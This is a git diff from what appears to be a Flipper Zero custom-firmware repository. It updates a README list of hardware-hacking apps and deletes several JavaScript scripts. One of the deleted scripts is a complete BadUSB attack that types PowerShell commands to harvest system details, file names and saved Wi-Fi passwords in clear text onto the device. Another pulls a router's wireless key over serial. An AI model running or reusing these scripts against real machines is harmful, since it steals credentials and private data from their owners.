v0.1 (By m7i-org)](https://github.com/m7i-org/flipper_longwave_clock) @@ -378,7 +398,7 @@ - [Metronome v1.3 (By panki27)](https://github.com/panki27/Metronome) - [MFC Editor v1.0 (By TollyH)](https://github.com/TollyH/flipper-apps) - [MFDesfire Auth v1.0 (By Gatorixx)](https://github.com/Gatorixx/flipper-zero-legacy-authentication) -- [Mfkey v4.0 (By noproto)](https://github.com/noproto/FlipperMfkey) +- [Mfkey v4.1 (By noproto)](https://github.com/noproto/FlipperMfkey) - [MH-Z19 CO2 Sensor v0.2 (By meshchaninov)](https://github.com/meshchaninov/flipper-zero-mh-z19) - [MH-Z19 UART (By skotopes)](https://github.com/skotopes/flipperzero_mhz19_uart) - [Mi Band NFC Writer v1.0 (By LucaTomei)](https://github.com/LucaTomei/flipper-miband-nfc-writer) @@ -410,13 +430,14 @@ - [NFC/RFID Detector v1.4 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2795) - [NFC APDU Runner v0.3.5 (By SpenserCai)](https://github.com/SpenserCai/nfc_apdu_runner) - [NFC Dict Manager v1.0 (By grugnoymeme)](https://github.com/grugnoymeme/nfc_dicts_manager) -- [NFC Comparator v2.3 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Comparator) +- [NFC Comparator v2.5 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Comparator) - [NFC E-Ink Tags v1.0.4 (By RebornedBrain)](https://github.com/flipperdevices/flipperzero-good-faps/pull/245) +- [NFC Fuzzer v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [NFC Keyboard v1.0 (By Patrick762)](https://github.com/Patrick762/flipper-nfc-keyboard) -- [NFC Login v1.1.1 (By Play2BReal)](https://github.com/Play2BReal/NFC-Login) +- [NFC Login v1.1.2 (By Play2BReal)](https://github.com/Play2BReal/NFC-Login) - [NFC Magic v1.15.1 (By gornekich)](https://github.com/flipperdevices/flipperzero-firmware/pull/1966) -- [NFC Maker v2.0 (by WillyJL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/343cb39d08f60b75b537e1a31100707935cf6e9d) -- [NFC Playlist v3.4 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Playlist/tree/main) +- [NFC Maker v2.1 (by WillyJL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/343cb39d08f60b75b537e1a31100707935cf6e9d) +- [NFC Playlist v3.5 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Playlist/tree/main) - [NFC Relay v0.2 (By leommxj)](https://github.com/leommxj/nfc_relay) - [NFC Seader v4.0 (By bettse)](https://github.com/bettse/seader) - [NFC Sniffer v0.2 (By kdiller713)](https://github.com/kdiller713/public-FlipperApps/tree/main/nfc_sniffer) @@ -433,6 +454,7 @@ - [NRF24 Scanner v2.3 (By vad7)](https://github.com/vad7/nrf24scan) - [NRF24 Jammer v1.0 (By huuck)](https://github.com/huuck/FlipperZeroNRFJammer) (Exercise Caution and Follow Your Local Laws) - [Ocarina v1.3 (By invalidna-me)](https://github.com/invalidna-me/flipperzero-ocarina) [Here are the LOTZ Songs](https://www.zeldadungeon.net/wiki/Ocarina_of_Time_Songs) +- [OpenShock v0.1 (By OpenShock Team)](https://github.com/OpenShock/FlipperZero) - [OpenPrintTag v1.0 (By Houzvicka)](https://github.com/Houzvicka/FlipperPrintTag) - [Orgasmotron v1.1 (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) - [Oscilloscope v0.4 (By anfractuosity)](https://github.com/anfractuosity/flipperscope) @@ -447,11 +469,11 @@ - [Pet Your Dolphin v0.1 (By dwight9339)](https://github.com/dwight9339/pet_your_dolphin) - [pForth (By twisted-pear)](https://github.com/twisted-pear/f0forth) - [Pi Terminal v1.0 (By dagnazty & InfoSecREDD)](https://github.com/InfoSecREDD/Flip-pi) -- [PicoPass (iClass) v1.19 (By Bettse)](https://gitlab.com/bettse/picopass) +- [PicoPass (iClass) v1.22 (By Bettse)](https://gitlab.com/bettse/picopass) - [PIR HC-SR501 Alarm v1.0 (By ku6a-cj)](https://github.com/ku6a-cj/-PIR-HC-SR501-Proximity-alarm-Flipper-zero) `Req: PIR HC-SR501` - [Plantower PMSx003 sensor reader v1.3 (By 3cky)](https://github.com/3cky/flipperzero-airmon) `Req: Plantower PMS5003/PMS7003/PMS9003` - [Plugin Demo v1.0 (By csBlueChip)](https://github.com/csBlueChip/FlipperZero_plugin_howto) -- [POCSAG Pager v1.3 (By XMasterx & Shmuma)](https://github.com/xMasterX/flipper-pager) +- [POCSAG Pager v1.4 (By XMasterx & Shmuma)](https://github.com/xMasterX/flipper-pager) - [Pokemon Trading v2.3 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) - [Pomodoro Timer v1.4 (By sbrin)](https://github.com/sbrin/flipperzero_pomodoro) - [Pomodoro 2 v2.4.1 (By Th3Un1q3)](https://github.com/Th3Un1q3/flipp_pomodoro) @@ -459,7 +481,7 @@ - [Postman v0.1 (By MassivDash)](https://github.com/MassivDash/flipper-postman) `Req: ESP32` with [Postman Firmware](https://github.com/MassivDash/flipper-postman-esp32s2) - [Programmer Calculator v0.9.2 (By armixz)](https://github.com/armixz/Flipper-Zero-Programmer-Calculator) - [Protocol Visualizer v1.3 (By antirez)](https://github.com/antirez/protoview) -- [ProtoPirate v2.3 (By RocketGod-git)](https://github.com/RocketGod-git/ProtoPirate) +- [ProtoPirate v2.6 (By RocketGod-git)](https://protopirate.net/ProtoPirate/ProtoPirate) - [QR Code v2.1.4 (By bmatcuk)](https://github.com/bmatcuk/flipperzero-qrcode) - [QRCode Generator v0.1 (By qw3rtty)](https://github.com/qw3rtty/flipperzero-qrcode-generator) - [Quac! v0.9.1 (By rdefeo)](https://github.com/rdefeo/quac) @@ -467,6 +489,7 @@ - [Radar Scanner v2.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/flipper-radar) `Req: RCWL-0516` - [Radiation Sensor v1.0 (By sionyx)](https://github.com/sionyx/flipper_radsens) `Req: RadSens` - [Radio Scanner v0.3 (By RocketGod)](https://github.com/RocketGod-Git/Flipper-Zero-Radio-Scanner) +- [Ray Hunter Client v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) `Req: ESP32` - [RC2014 ColecoVision (By ezod)](https://github.com/ezod/flipperzero-rc2014-coleco) - [RCWL-516 Motion Sensor (By ahmedafe1)](https://github.com/ahmedafe1/rcwl_0516-Flipperzero) - [Reality Clock v4.1 (By Eris-Margeta)](https://github.com/Eris-Margeta/flipper-apps) @@ -477,16 +500,18 @@ - [RFID Fuzzer v1.7 (By gid9798)](https://github.com/DarkFlippers/unleashed-firmware/pull/507) - [RGB LED (By flyandi)](https://github.com/flyandi/flipper_zero_rgb_led) - [R.O.B. Control v1.0.1 (By riney)](https://github.com/riney/flip_rob) +- [Rogue AP Detector v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) `Req: ESP32` - [Roman Decoder v0.2 (By evillero)](https://github.com/evillero/roman_decoder) - [ROT13 v0.1 (By nothingbutlucas)](https://codeberg.org/nothingbutlucas/flipperzero_rot13) +- [RS41 Tracker v1.1 (By yeckel)](https://github.com/yeckel/RS41flipper) - [Rubiks Cube Timer v0.0.2 (By KHOPAN)](https://github.com/KHOPAN/Cuber-Zero) +- [SaFlip v0.1 (By aaronjamt)](https://github.com/aaronjamt/saflip) - [SAM (By Unknown)][Original?](https://github.com/ctoth/SAM) -- [SD Card Mounter v0.1 (By aaronjamt)](https://github.com/aaronjamt/flipper_sd_mounters) - [SD Info v0.1 (By Sladkisnovraper)](https://github.com/Sladkisnovraper/SD-Info-For-Flipper-Zero) - [SD SPI v0.5 (By Gl1tchub)](https://github.com/Gl1tchub/Flipperzero-SD-SPI) `Req: External SD Board` - [Segment Clock v1.1 (By Sladkisnovraper)](https://github.com/Sladkisnovraper/Segment-Clock-For-Flipper-Zero) - [Sentry Safe v2.0 (By H4ckd4ddy)](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin) ([Pin Out](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/420/applications/sentry_safe) from [UberGuidoZ](https://github.com/UberGuidoZ/) -- [Seos compatible v1.2 (By bettse)](https://gitlab.com/bettse/flipper_seos) +- [Seos compatible v1.3 (By bettse)](https://github.com/bettse/seos_compatible) - [SERMA CAN-FD-HS v1.0 (By serma-safety-security)](https://github.com/serma-safety-security/Flipper-Zero-CAN-FD-HS-SW) `Req: SERMA CAN FD GPIO Board` - [Servotester v1.2 (By spin7ion)](https://github.com/spin7ion/flipper-servotester) - [ServoTester (2) v0.2 (By mhasbini)](https://github.com/mhasbini/ServoTesterApp) @@ -496,34 +521,41 @@ - [Signal Generator v1.2 (By nminaylov)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1793) - [Simultanious UHF RFID Reader v1.1.2 (By RileyHaffner)](https://github.com/haffnerriley/Simultaneous-UHF-RFID-FlipperZero) `Req: M6e Nano UHF RFID Reader & Raspberry Pi Zero` - [Skeleton App v1.1 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/ui/skeleton_app) +- [SKIDcity v1.2 (By H4W9)](https://github.com/H4W9/SKIDcity_App) - [Sleep Counter v2.0 (By silverwolf2r)](https://github.com/silverwolf2r/flipper-sleep-counter) `Req: RCWL-0516` - [SLI Writer v1.4 (By Julienbxl)](https://github.com/Julienbxl/SLI-Writer) - [Smack My Dolphin Up! (By siberianbot)](https://github.com/siberianbot/smack-my-dolphin-up) -- [Smartra VIN2PIN v1.0 (By evillero)](https://github.com/evillero/smartra_vin2pin) +- [Smartra VIN2PIN v2.0 (By evillero)](https://github.com/evillero/smartra_vin2pin) - [Snowflake v0.1 (By fgreil)](https://github.com/fgreil/mitzi-snowflake) - [Space PLayground v0.1 (By alanfortlink)](https://github.com/alanfortlink/fzspground) - [Space Travel Calculator v1.0 (By ejfox)](https://github.com/ejfox/flipper-space-calculators) - [Spectrum Analyzer v1.3 (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) +- [Spindle Calculator v1.0 (By Minto97)](https://github.com/Minto97/spindle-calc-flipper) - [Spotify Remote v0.1 (By benjamindrussell)](https://github.com/benjamindrussell/flipper-spotify-remote) `Req: ESP32` with [ESP32 Spotify Remote](https://github.com/benjamindrussell/esp32-spotify-remote) +- [SPI Flash Dump v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [SPI Mem Manager v1.4 (By drunkbatya)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/spi_mem_manager) - [SPI Terminal v0.4 (By janwiesemann)](https://github.com/janwiesemann/flipper-spi-terminal) - [StroboMeter v1.1 (By LeanderJDev)](https://github.com/LeanderJDev/FlipperStroboMeterApp) - [Sub Analyzer v1.0 (By RocketGod)](https://github.com/RocketGod-git/Flipper-Zero-SUB-Analyzer) +- [Sub Duplicate Finder v1.0 (By Endika)](https://github.com/Endika/flipper-sub-dup) - [Sub-GHz Bruteforcer v4.0 (By Ganapati/xMasterX/derskythe)](https://github.com/derskythe/flipperzero-subbrute/tree/master) +- [Sub-GHz Jammer Detect v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [Sub-GHz Playlist v1.0.1 (By darmiel)](https://github.com/darmiel/flipper-playlist) - [Sub-GHz Playlist Creator v0.2 (By coolerUA)](https://github.com/coolerUA/Sub-Ghz-Playlist-Creator) - [Sub-GHz Remote v1.8 (By gid9798)](https://github.com/DarkFlippers/SubGHz_Remote) - [Sub-GHz Rolling Flaws v1.5 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials) - [Sub-GHz Scheduler v3.0 (By shalebridge)](https://github.com/shalebridge/flipper-subghz-scheduler) +- [Sub-GHz Spectrum v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [Sub-Ghz Toolkit 1808 v1.0 (By RocketGod-git)](https://github.com/RocketGod-git/RocketGods-SubGHz-Toolkit) - [SWD Probe v1.3 (By g3gg0)](https://github.com/g3gg0/flipper-swd_probe) - [T5577 Multiwriter v0.2 (By Leptopt1los)](https://github.com/Leptopt1los/t5577_multiwriter) - [T5577 Raw Writer v1.1 (By zinongli)](https://github.com/zinongli/T5577_Raw_Writer) - [Tasks v1.2 (By MadLadSquad)](https://github.com/MadLadSquad/FlipperTasks) -- [Temp Sensors Reader 1.8 (By quen0n)](https://github.com/quen0n/Unitemp-Flipper-Zero-Plugin) `Req: BMP180/BMP280/BME280/BME680/DHT11/DHT22(AM2302)/AM2301/AM2320/HTU2XD/HTU21x/HDC1080/MAX31725/MAX31855/MAX6675/SCD30` +- [Temp Sensors Reader 2.0 (By quen0n)](https://github.com/quen0n/Unitemp-Flipper-Zero-Plugin) Req: [See App Readme For Supported Modules](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/applications/external/unitemp/README.md) - [Text To SAM v1.4 (By RoundPi)](https://github.com/Round-Pi/flipperzero-text2sam) - [Text Viewer v1.6 (By WillyJL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/ae4fc4a54febccb44b010c4025a99c2edef9a7f0) - [The C Prog. Language v0.2 (By armixz)](https://github.com/armixz/Flipper-Zero-The-C-Programming-Language) +- [Theme Manager v1.6 (By Hoasker)](https://github.com/Hoasker/flipper-theme-manager) - [Time Dilation Calculator v1.0 (By ejfox)](https://github.com/ejfox/flipper-space-calculators) - [Time Tracker v1.0.3 (By MassivDash)](https://github.com/MassivDash/flipper-tracker) - [Timed Remote v0.1 (By anders-dc)](https://github.com/anders-dc/timed-remote) @@ -537,9 +569,10 @@ - [T-Union Master (China) v0.1 (By SocialSisterYi)](https://github.com/SocialSisterYi/T-Union_Master) - [u-blox GPS v0.5 (By liamhays)](https://github.com/liamhays/ublox) - [UART Echo (By DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/831) +- [UART Sniff v1.0 (By barkandbite)](https://github.com/barkandbite/flipper_suite) - [UART Terminal v1.5 (By cool4uma)](https://github.com/cool4uma/UART_Terminal) - [UDECard v1.0.4 (By hahnworks](https://github.com/hahnworks/UDECard) -- [UHF RFID WIP v1.1 (By frux-c)](https://github.com/frux-c/uhf_rfid) `Req: M100 or QM100` +- [UHF RFID WIP v1.0 (By frux-c)](https://github.com/frux-c/uhf_rfid) `Req: M100 or QM100` - [UID Brute Smarter v1.1 (By fbettag)](https://github.com/fbettag/uid_brute_smarter) - [UL-C Bruteforce v1.0 (By noproto)](https://github.com/zc-public/breakme-resources/tree/main/flipper_apps) - [UL-C Bruteforce Optimized v1.0 (By noproto)](https://github.com/zc-public/breakme-resources/tree/main/flipper_apps) @@ -548,7 +581,7 @@ - [ULCFKey Next v1.0 (By noproto)](https://github.com/zc-public/breakme-resources/tree/main/flipper_apps) - [uPython v1.7 (By ofabel)](https://github.com/ofabel/mp-flipper) - [USB Consumer Control (By WithSecureLabs)](https://github.com/WithSecureLabs/usb-consumer-control) -- [USB HID Autofire v0.7 (By pbek)](https://github.com/pbek/usb_hid_autofire) +- [USB HID Autofire v0.7.1 (By pbek)](https://github.com/pbek/usb_hid_autofire) - [USB Mass Storage v1.5 (By nminaylov)](https://github.com/flipperdevices/flipperzero-good-faps/tree/nm/usb_mass_storage_app/mass_storage) - [USB Midi v1.0 (By DrZlo13 & kribesk)](https://github.com/kribesk/flipper-zero-usb-midi) [Instructions by ESurge](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/420/applications/plugins/usb_midi/ReadMe.md) - [USB Midi Capturing v0.1 (By fgreil)](https://github.com/fgreil/mitzi-midi) @@ -568,7 +601,7 @@ - [WAV Player v1.3 (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) - [WAV Recorder v0.2 (By scrolltex)](https://github.com/scrolltex/flipper-wav-recorder) - [WHC SWIO Flasher v1.1 (By sukvojte)](https://github.com/sukvojte/wch_swio_flasher) -- [Weather Station v1.9.5 (By Skorpionm)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/weather_station) +- [Weather Station v2.0 (By Skorpionm)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/weather_station) - [Web Crawler v1.0.1 (By jblanked)](https://github.com/jblanked/WebCrawler-FlipperZero) `Req: ESP32` with [FliperHTTP Firmware](https://github.com/jblanked/FlipperHTTP) - [Weebo v0.3 (By bettse)](https://github.com/bettse/weebo) `Req: key_retail.bin on SD card /nfc/assets` (Amiibo Remixer) - [Wendigo Bluetooth Tracker WIP v0.5.1 (By chris-bc)](https://github.com/chris-bc/wendigo) `WIP Req: ESP32` @@ -580,7 +613,7 @@ - [Wire Tester v1.1 (By unixispower)](https://gitlab.com/unixispower/flipper-wire-tester) - [WS2812B LED Tester v1.9 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/ws2812b_tester) - [XBox360 USB Game Controller v0.2 (By expected-ingot)](https://github.com/expected-ingot/flipper-xinput) -- [XRemote v1.3 (By kala13x)](https://github.com/kala13x/flipper-xremote) +- [XRemote v1.4 (By kala13x)](https://github.com/kala13x/flipper-xremote) - [YuriCable Pro Max v0.4 (By arag0re)](https://github.com/arag0re/fz-yuricable-pro-max) ## Current Bounties $$ (Sorted By Difficulty - Easiest to Hardest) @@ -588,4 +621,4 @@ - Have a new app? Submit GitHub link to me on Discord for a special reward (if I add it to RM Firmware). - `Bluetooth Audio` APP to allow flipper to pair to external speaker or headphones for wav/mp3 playback ($200 USD in ETH or BTC) (Don't think this is possible) -# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0127-1444-0.420.0-cd46514.tgz&channel=RM0127-1444-0.420.0-cd46514&version=0.420.0&target=f7) +# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0317-0022-0.420.0-f4f7318.tgz&channel=RM0317-0022-0.420.0-f4f7318&version=0.420.0&target=f7) diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/fdxb_maker.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/fdxb_maker.fap index c3eeff2cd..0a6fcd6db 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/fdxb_maker.fap and b/Applications/Custom (UL, RM)/RogueMaster/RFID/fdxb_maker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap index c7ccfdc52..9e1924a5c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap and b/Applications/Custom (UL, RM)/RogueMaster/RFID/lfrfid.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap index 390c3f483..6e23cd9f4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap and b/Applications/Custom (UL, RM)/RogueMaster/RFID/nfc_rfid_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap index 7b8cefa57..577e6a16a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap and b/Applications/Custom (UL, RM)/RogueMaster/RFID/rfid_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap index b713c4578..163099c0a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap and b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_multiwriter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap index 4d98bb40c..7d4823dcb 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap and b/Applications/Custom (UL, RM)/RogueMaster/RFID/t5577_writer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js deleted file mode 100644 index 59b4f92a8..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_Exfil-GSHD.js +++ /dev/null @@ -1,85 +0,0 @@ -// Original: [JS Script: BadUSB_Win_Exfil-GSHD.js (By Gas Station Hot Dog)](https://github.com/User84User/User84PublicUser/blob/main/Windows_Exfil-GSHD.js) -// Updated BadUSB Win Exfil JS Script (By Gas Station Hot Dog & b0r0xZ & mistura.) (Comments added along with more commands) -//MassStorage Name -let image = "/ext/apps_assets/mass_storage/test.img"; -//MassStorage Size -let size = 8 * 1024 * 1024; -//Le Script -let script = [ - "$Date = Get-Date -Format yyyy-MM-dd;",//Get Date - "$Time = Get-Date -Format hh-mm-ss;",//Get Time - "Get-CimInstance -ClassName Win32_ComputerSystem >> stats.txt;", //Listing computer manufacturer and model - "Get-LocalUser >> stats.txt;", //List users on the system - "Get-LocalUser | Where-Object -Property PasswordRequired -Match false >> stats.txt;", //Which users has password required set to false - "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> stats.txt;", // List which AntiVirus Product is being used - "Get-CimInstance -ClassName Win32_QuickFixEngineering >> stats.txt;", // Listing installed hotfixes - "(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{PROFILE_NAME=$name;PASSWORD=$pass}} | Format-Table -AutoSize >> stats.txt;",//Get network profiles with passwords - "dir env: >> stats.txt;", //Check ENV - "Get-Computerinfo >> stats.txt;", //ComputerInfo - "Get-Service >> stats.txt;", // Get runing services - "Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddress,SuffixOrigin | where IPAddress -notmatch '(127.0.0.1|169.254.\d+.\d+)' >> stats.txt;", //Check all IPV4 sufix that is not localhost - "Get-NetTCPConnection | Where-Object -Property State -Match Listen >> stats.txt;", //List listening ports - "Get-NetTCPConnection | Select-Object -Property * >> stats.txt;", // Get TCP information, ports, state etc.. - "Get-ChildItem -Path $userDir -Include *.txt, *.doc, *.docx, *.pptx, *.xlsx, *.pdf, *.jpg, *.png, *.mp3, *.mp4, *.zip, *.rar -Recurse >> stats.txt",//Exfil FileNames -]; - -//Script crawler -let command = ""; -for (let i = 0; i < script.length; i++) { - command += script[i]; -} - -//Requirements -let badusb = require("badusb"); -let usbdisk = require("usbdisk"); -let storage = require("storage"); - -//Check if MassStorage image Exists... -print("Checking for Image..."); -if (storage.exists(image)) { - print ("Storage Exists."); -} -//Create MassStorage in case it doesnt exists -else { - print ("Creating Storage..."); - usbdisk.createImage(image, size); -} - -//VID&PID as HID -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); -print("Waiting for connection"); - -//Keep Connected -while (!badusb.isConnected()) { - delay(1000); -} - -//Program Start!! -badusb.press("GUI", "x");//Open admin tools menu -delay(300); -badusb.press("i");//Select PowerShell -delay(3000); -//Uncomment this to work with "Run", also comment the 1st part that works with the admin tools menu -/* -badusb.press("GUI", "r");//Open Run -delay(300); -badusb.println("powershell"); -badusb.press("ENTER"); -*/ -print("Running payload"); -badusb.println(command, 10);//Run Script Crawler -badusb.press("ENTER"); -badusb.println("echo 'Please wait until this Window closes to eject the disk!'; Start-Sleep 10; $DriveLetter = Get-Disk -FriendlyName 'Flipper Mass Storage' | Get-Partition | Get-Volume | Select-Object -ExpandProperty DriveLetter; New-Item -ItemType Directory -Force -Path ${DriveLetter}:\\${Date}\\; Move-Item -Path stats.txt -Destination ${DriveLetter}:\\${Date}\\${env:computername}_${Time}.txt; exit")//Find Disk Partition to save -badusb.press("ENTER"); -badusb.quit(); -delay(2000); -usbdisk.start(image);//Open MassStorage Folder -print("Please wait until powershell window closes to eject..."); - -//Ejected check -while (!usbdisk.wasEjected()) { - delay(1000); -} -//Stop Script -usbdisk.stop(); -print("Done"); \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js deleted file mode 100644 index eafc96aa5..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/BadUSB_Win_RogueMasterHome.js +++ /dev/null @@ -1,21 +0,0 @@ -let badusb = require("badusb"); -let notify = require("notification"); -badusb.setup({ vid: 0xAAAA, pid: 0xBBBB, mfr_name: "Flipper", prod_name: "Zero" }); - -print("Waiting for connection"); -while (!badusb.isConnected()) { - delay(1000); -} - -function OpenSiteWin() -{ - badusb.press("GUI", "r"); - delay(100); - badusb.println("https://rogue-master.net", 1); - delay(100); -} -if (badusb.isConnected()) -{ - OpenSiteWin(); - print("Executed"); -} \ No newline at end of file diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js deleted file mode 100644 index 0506d348c..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/adc.js +++ /dev/null @@ -1,42 +0,0 @@ -// This is an example of how to use the analog pins (ADC) on the Flipper Zero. -// The example uses a reference voltage of 2048mV (2.048V), but you can also use 2500mV (2.5V). -// The example reads the values of the analog pins A7, A6, and A4 and prints them to the console. -// The example also checks if the value of A7 is twice the value of A6 and breaks the loop if it is. -// The example uses the analog pins A7, A6, and A4, but you can also use PC3, PC1, and PC0. - -let gpio = require("gpio"); - -// initialize pins A7, A6, A4 as analog (you can also use PC3, PC1, PC0) -gpio.init("PA7", "analog", "no"); // pin, mode, pull -gpio.init("PA6", "analog", "no"); // pin, mode, pull -gpio.init("PA4", "analog", "no"); // pin, mode, pull - -gpio.startAnalog(2048); // vRef = 2.048V (you can also use 2500 for a 2.5V reference voltage) - -while (true) { - let pa7_value = gpio.readAnalog("PA7"); - let pa6_value = gpio.readAnalog("PA6"); - let pa4_value = gpio.readAnalog("PA4"); - print("A7: " + to_string(pa7_value) + " A6: " + to_string(pa6_value) + " A4: " + to_string(pa4_value)); - delay(100); - if (pa7_value === pa6_value * 2) { - break; - } -} -print("A7 is twice A6!"); - -gpio.stopAnalog(); - -// possible analog pins https://docs.flipper.net/gpio-and-modules#miFsS -// "PA7" aka 2 -// "PA6" aka 3 -// "PA4" aka 4 -// "PC3" aka 7 -// "PC1" aka 15 -// "PC0" aka 16 - -// possible modes -// "analog" - -// possible pull -// "no" diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js deleted file mode 100644 index ddb572ee7..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/array_buf_test.js +++ /dev/null @@ -1,8 +0,0 @@ -let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]); -print("len =", arr_1.buffer.byteLength); - -let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6)); -print("slice len =", arr_2.buffer.byteLength); -for (let i = 0; i < arr_2.buffer.byteLength; i++) { - print(arr_2[i]); -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js deleted file mode 100644 index 9396a3464..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/bad_uart.js +++ /dev/null @@ -1,20 +0,0 @@ -let serial = require("serial"); -serial.setup("lpuart", 115200); - -// serial.write("\n"); -serial.write([0x0a]); -let console_resp = serial.expect("# ", 1000); -if (console_resp === undefined) { - print("No CLI response"); -} else { - serial.write("uci\n"); - let uci_state = serial.expect([": not found", "Usage: "]); - if (uci_state === 1) { - serial.expect("# "); - serial.write("uci show wireless\n"); - serial.expect(".key="); - print("key:", serial.readln()); - } else { - print("uci cmd not found"); - } -} diff --git a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js b/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js deleted file mode 100644 index be94a64d2..000000000 --- a/Applications/Custom (UL, RM)/RogueMaster/Scripts/badusb_demo.js +++ /dev/null @@ -1,48 +0,0 @@ -let badusb = require("badusb"); -let notify = require("notification"); -let flipper = require("flipper"); -let dialog = require("dialog"); - -badusb.setup({ - vid: 0xAAAA, - pid: 0xBBBB, - mfr_name: "Flipper", - prod_name: "Zero", - layout_path: "/ext/badusb/assets/layouts/en-US.kl" -}); -dialog.message("BadUSB demo", "Press OK to start"); - -if (badusb.isConnected()) { - notify.blink("green", "short"); - print("USB is connected"); - - badusb.println("Hello, world!"); - - badusb.press("CTRL", "a"); - badusb.press("CTRL", "c"); - badusb.press("DOWN"); - delay(1000); - badusb.press("CTRL", "v"); - delay(1000); - badusb.press("CTRL", "v"); - - badusb.println("1234", 200); - - badusb.println("Flipper Model: " + flipper.getModel()); - badusb.println("Flipper Name: " + flipper.getName()); - badusb.println("Battery level: " + to_string(flipper.getBatteryCharge()) + "%"); - - // Alt+Numpad method works only on Windows!!! - badusb.altPrintln("This was printed with Alt+Numpad method!"); - - // There's also badusb.print() and 